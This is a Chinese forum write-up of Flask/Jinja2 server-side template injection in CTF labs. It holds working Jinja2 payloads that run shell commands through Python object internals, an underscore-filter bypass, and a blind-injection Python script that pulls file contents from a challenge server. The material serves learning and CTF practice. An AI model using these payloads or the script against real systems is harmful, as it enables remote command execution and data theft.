ssti模板注入针对的是使用python——flask轻量级web框架编写的网站
漏洞的成因
将用户输入的数据未经过滤直接渲染
这不仅会导致XSS跨站脚本攻击
同时也会导致远程命令执行漏洞
图中,我们可以看到我们传入的数据为
{{ 3 *3 }}
返回值为9
代表这里传入的东西会被后端运行
打开学院的SSTI漏洞靶场
WP里给到的是说要传入一个name值
我们传入
name={{3*3}}
可以看到这里回显了hello 9
这里直接利用一下官方给到的payload
文章后面会对payload进行详细解读
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
传入后可以看到执行了里面的id命令
ls /
看到flag,直接提交
这里来粗略解释一下payload
先将其转为python代码来看
我们大致能够看出来最后是调用了python的命令执行函数
[].class.base.subclasses()是一个可遍历对象
根据下面这句if c.__name__ == 'catch_warnings':
我们大致能够判断出来
这个可遍历对象中有名称为 catch_warnings 的一个对象
这个对象里面存在能够让我们命令执行的东西
for c in [].__class__.__base__.__subclasses__():
if c.__name__ == 'catch_warnings':
for b in c.__init__.__globals__.values():
if b.__class__ == {}.__class__:
if 'eval' in b.keys():
b['eval']("__import__('os').popen('id').read()")
我们在里面加入一个变量
用来计算一下我们想要的命令执行函数是这个可遍历对象的第几个
也就是得到我们可直接下标的数字
jici = 0
for c in [].__class__.__base__.__subclasses__():
jici += 1
if c.__name__ == 'catch_warnings':
for b in c.__init__.__globals__.values():
if b.__class__ == {}.__class__:
if 'eval' in b.keys():
print(jici)
w = b['eval']("__import__('os').popen('id').read()")
print(w)
经测试,我们得到的数字是216
下面那串红的的大概意思就是没有id这个命令
因为我用的是windows系统
但是能证明可以进行命令执行即可
然后我们把上半段用来找下标的删除
替换一下
c = [].__class__.__base__.__subclasses__()[216]
for b in c.__init__.__globals__.values():
if b.__class__ == {}.__class__:
if 'eval' in b.keys():
w = b['eval']("__import__('os').popen('id').read()")
print(w)
没想到直接报错了
经过尝试,将216的值-1
使用215即可
这里呢因为不同环境
这个下标的数字也不一样
再次使用上面的方法
我们得到的数字是8
jici = 0
for b in c.__init__.__globals__.values():
jici += 1
if b.__class__ == {}.__class__:
if 'eval' in b.keys():
print(jici)
w = b['eval']("__import__('os').popen('id').read()")
print(w)
将payload缩减为[].__class__.__base__.__subclasses__()[215].__init__.__globals__.values()[8]['eval']("__import__('os').popen('id').read()")
这么一句之后
我们执行一下
结果发现报错
报错内容是 dict_value 对象不可下标
当时在这里纠结了很久
之后才看到 .values()这个函数
这样我们就可以得知[].__class__.__base__.__subclasses__()[215].__init__.__globals__
这一串得到的是字典对象
那么这时候就可以换一下思路了
不去下标
找我们要的东西的key值
直接print()出来的东西我是看不太懂
所以我换了一种方法
这样出来的东西就清晰多了
c = [].__class__.__base__.__subclasses__()[215].__init__.__globals__
for i in c.items():
print(i)
我们继续分析代码
可以看到需要这个遍历的值对象的属性也是字典
按照刚才得到的数字8
我从上往下数
第八个键值对的值正好是个字典
这也正好解释了为什么刚刚得到的下标需要-1
虽然是第216个
但是对于python的下标是从零开始的
所以是215
所以这里把刚刚的payload中的.values()[8]
换成["__builtins__"]
[].__class__.__base__.__subclasses__()[215].__init__.__globals__["__builtins__"]['eval']("__import__('os').popen('id').read()")
再试一次
成功命令执行
所以pyload也可以换成{{[].__class__.__base__.__subclasses__()[正确的下标].__init__.__globals__["__builtins__"]['eval']("__import__('os').popen('id').read()")}}
我们去靶场再试试
看到这我人也傻了
太激动了,没顾得上吧 正确的下标 这几个字换掉
然后我又试了试没有下标
居然还可以
然后我又随便加了个数字
不行了
我又试了试本地
结果本地给我报了个没有下标的错误
这也给我整不会了
就现在写文章的时候才发现的
有懂的师傅可以评论区解答下
先当做刚刚的意外从来没有发生哈
我们想要找到正确的下标可以用burp跑
这个范围一般是在500以内的
并且能找到好多个
先将抓到的包发送到跑包模块
这里设置为numbers
然后直接开跑
等待一个两百
随后我们把payload里面的下标换成64
发现可以成功代码执行
//这里是参考了一位师傅的博客才做出来的
原文链接:https://blog.csdn.net/hiahiachang/article/details/109283286
题目提示 POST:Key
我们这里尝试下以POST方法传入一个传参
传参名为Key
这里再尝试一下传入
{{ 3 * 3 }}
3*3被原原本本的展示出来
至少说明这里{{}}是被过滤掉的
可以再尝试一下控制语句块
{%if %}
传入
{%if 1==1 %}air{% endif %}
在传入 1==2
我们可以发现,当表达式错误时
air不被显示
到这时候就能够证明这里是要用SSTI做出来的
题目将{{}}过滤掉后,我们想要的内容没办法在页面显示出来
所以这里应该用盲注的方法来做
先测试一下还有没有其他东西被过滤掉
传入 ‘’!=1时页面报错
传入 “”!=1时页面正常
说明单引号是被过滤掉的
传入 “”.class != 1 报错
说明这里_很有可能被过滤了
使用大佬博客里的那种方法再试一次
使用\x5f来代替下划线
但是\x5f只能在字符串中被解析
所以使用这种方式进行执行
但是由于没有回显
这是我个人的粗略理解
然后编写脚本
是根据那位师傅的脚本改编的
import requests
import string
def reponse(payload):
url = "http://574ecf5e-513f-41f3-af02-23caf2734f84.challenge.ctf.show/"
res = requests.post(url, data={"key": payload})
if 'ok' in res.text:
return True
return False
def zifupd(num, cmd):
strs = string.digits + string.ascii_lowercase + " -_{}"
for ch in strs:
payload = '{% if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[79]["\\x5f\\x5finit\\x5f\\x5f"]' \
'["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]' \
'("' + cmd + '")["read"]()[' + str(num) + '] == "' + ch + '" %}ok{% endif %}'
if reponse(payload):
print(num)
return ch
return False
if __name__ == '__main__':
q = ''
list_ = []
cmd = 'cat /ctfshow*'
for i in range(100):
r = zifupd(i,cmd)
if r:
q += r
else:
list_.append(q)
print(list_)
q = ''
print(q)
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-JARVIS | 1.00 | 0 | 2022-03-17 17:05:51 | 一个受益终生的帖子~~ |
叹城 | 0.80 | 0 | 2022-03-17 17:05:41 | 一个受益终生的帖子~~ |
whhhhhc | 0.80 | 0 | 2022-03-17 16:04:27 | 一个受益终生的帖子~~ |
Track-JARVIS | 1.40 | 0 | 2021-12-17 14:02:49 | 一个受益终生的帖子~~ |
Track-JARVIS | 1.00 | 0 | 2021-12-17 14:02:37 | 一个受益终生的帖子~~ |
叹城 | 1.00 | 0 | 2021-12-14 08:08:56 | 一个受益终生的帖子~~ |
奖励系统 | 50.00 | 0 | 2021-12-14 08:08:15 | 投稿满 5 赞奖励 |
Track-劲夫 | 50.00 | 0 | 2021-12-07 17:05:40 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-劲夫
发表于 2021-12-7
有自己的研究和分析过程,根据分析的结果修改Payload,很不错
评论列表
加载数据中...